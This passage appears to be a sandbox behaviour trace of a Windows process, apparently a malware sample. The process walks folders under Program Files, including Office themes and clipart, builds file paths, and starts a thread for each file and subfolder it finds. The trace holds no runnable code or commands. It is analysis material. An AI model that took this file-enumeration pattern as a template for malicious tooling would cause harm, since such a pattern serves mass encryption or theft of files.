lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.029] wcscmp (_String1="..", _String2=".") returned 1 [0086.029] wcscmp (_String1="..", _String2="..") returned 0 [0086.029] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0086.029] wcscmp (_String1="10", _String2=".") returned 1 [0086.029] wcscmp (_String1="10", _String2="..") returned 1 [0086.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e6f0 [0086.029] wcscpy (in: _Dest=0x1b79e6f0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0086.029] wcscat (in: _Dest=0x1b79e6f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0086.029] wcscat (in: _Dest=0x1b79e6f0, _Source="10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0086.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0086.030] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0086.030] FindClose (in: hFindFile=0x1b7cebe0 | out: hFindFile=0x1b7cebe0) returned 1 [0086.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e670) returned 1 [0086.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d770) returned 1 Thread: id = 142 os_tid = 0x340 [0086.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7cebe0 [0086.032] wcscpy (in: _Dest=0x1b7cebe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0086.032] wcscat (in: _Dest=0x1b7cebe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0086.032] wcscat (in: _Dest=0x1b7cebe0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\*" [0086.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0086.032] wcscmp (_String1=".", _String2=".") returned 0 [0086.032] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.032] wcscmp (_String1="..", _String2=".") returned 1 [0086.032] wcscmp (_String1="..", _String2="..") returned 0 [0086.032] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0086.032] wcscmp (_String1="PUB60COR", _String2=".") returned 1 [0086.032] wcscmp (_String1="PUB60COR", _String2="..") returned 1 [0086.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c2280 [0086.033] wcscpy (in: _Dest=0x1b7c2280, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0086.033] wcscat (in: _Dest=0x1b7c2280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0086.033] wcscat (in: _Dest=0x1b7c2280, _Source="PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0086.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0086.033] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0086.033] wcscmp (_String1="Publisher", _String2=".") returned 1 [0086.033] wcscmp (_String1="Publisher", _String2="..") returned 1 [0086.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c22f0 [0086.033] wcscpy (in: _Dest=0x1b7c22f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0086.033] wcscat (in: _Dest=0x1b7c22f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0086.033] wcscat (in: _Dest=0x1b7c22f0, _Source="Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0086.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c22f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0086.034] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0086.034] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0086.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cebe0) returned 1 [0086.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 Thread: id = 143 os_tid = 0x830 [0086.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79d770 [0086.036] wcscpy (in: _Dest=0x1b79d770, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.036] wcscat (in: _Dest=0x1b79d770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.036] wcscat (in: _Dest=0x1b79d770, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*" [0086.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cec40 [0086.039] wcscmp (_String1=".", _String2=".") returned 0 [0086.039] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.040] wcscmp (_String1="..", _String2=".") returned 1 [0086.040] wcscmp (_String1="..", _String2="..") returned 0 [0086.040] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0086.040] wcscmp (_String1="Adjacency.thmx", _String2=".") returned 1 [0086.040] wcscmp (_String1="Adjacency.thmx", _String2="..") returned 1 [0086.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784370 [0086.040] wcscpy (in: _Dest=0x1b784370, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.040] wcscat (in: _Dest=0x1b784370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.040] wcscat (in: _Dest=0x1b784370, _Source="Adjacency.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" [0086.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0086.041] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0086.041] wcscmp (_String1="Angles.thmx", _String2=".") returned 1 [0086.041] wcscmp (_String1="Angles.thmx", _String2="..") returned 1 [0086.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784400 [0086.041] wcscpy (in: _Dest=0x1b784400, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.041] wcscat (in: _Dest=0x1b784400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.041] wcscat (in: _Dest=0x1b784400, _Source="Angles.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" [0086.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0086.042] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0086.042] wcscmp (_String1="Apex.thmx", _String2=".") returned 1 [0086.042] wcscmp (_String1="Apex.thmx", _String2="..") returned 1 [0086.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b784490 [0086.042] wcscpy (in: _Dest=0x1b784490, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.042] wcscat (in: _Dest=0x1b784490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.042] wcscat (in: _Dest=0x1b784490, _Source="Apex.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" [0086.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0086.043] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0086.043] wcscmp (_String1="Apothecary.thmx", _String2=".") returned 1 [0086.043] wcscmp (_String1="Apothecary.thmx", _String2="..") returned 1 [0086.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad2a0 [0086.043] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.043] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.043] wcscat (in: _Dest=0x1b7ad2a0, _Source="Apothecary.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" [0086.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0086.044] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0086.044] wcscmp (_String1="Aspect.thmx", _String2=".") returned 1 [0086.044] wcscmp (_String1="Aspect.thmx", _String2="..") returned 1 [0086.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784520 [0086.044] wcscpy (in: _Dest=0x1b784520, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.044] wcscat (in: _Dest=0x1b784520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.044] wcscat (in: _Dest=0x1b784520, _Source="Aspect.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" [0086.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0086.045] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0086.045] wcscmp (_String1="Austin.thmx", _String2=".") returned 1 [0086.045] wcscmp (_String1="Austin.thmx", _String2="..") returned 1 [0086.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b7845b0 [0086.045] wcscpy (in: _Dest=0x1b7845b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.045] wcscat (in: _Dest=0x1b7845b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.045] wcscat (in: _Dest=0x1b7845b0, _Source="Austin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" [0086.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7845b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0086.046] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0086.046] wcscmp (_String1="Black Tie.thmx", _String2=".") returned 1 [0086.046] wcscmp (_String1="Black Tie.thmx", _String2="..") returned 1 [0086.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784640 [0086.046] wcscpy (in: _Dest=0x1b784640, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.046] wcscat (in: _Dest=0x1b784640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.046] wcscat (in: _Dest=0x1b784640, _Source="Black Tie.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" [0086.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0086.047] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0086.047] wcscmp (_String1="Civic.thmx", _String2=".") returned 1 [0086.047] wcscmp (_String1="Civic.thmx", _String2="..") returned 1 [0086.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7846d0 [0086.047] wcscpy (in: _Dest=0x1b7846d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.047] wcscat (in: _Dest=0x1b7846d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.047] wcscat (in: _Dest=0x1b7846d0, _Source="Civic.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" [0086.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7846d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0086.048] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0086.048] wcscmp (_String1="Clarity.thmx", _String2=".") returned 1 [0086.048] wcscmp (_String1="Clarity.thmx", _String2="..") returned 1 [0086.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b784760 [0086.048] wcscpy (in: _Dest=0x1b784760, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.048] wcscat (in: _Dest=0x1b784760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.048] wcscat (in: _Dest=0x1b784760, _Source="Clarity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" [0086.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0086.049] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, 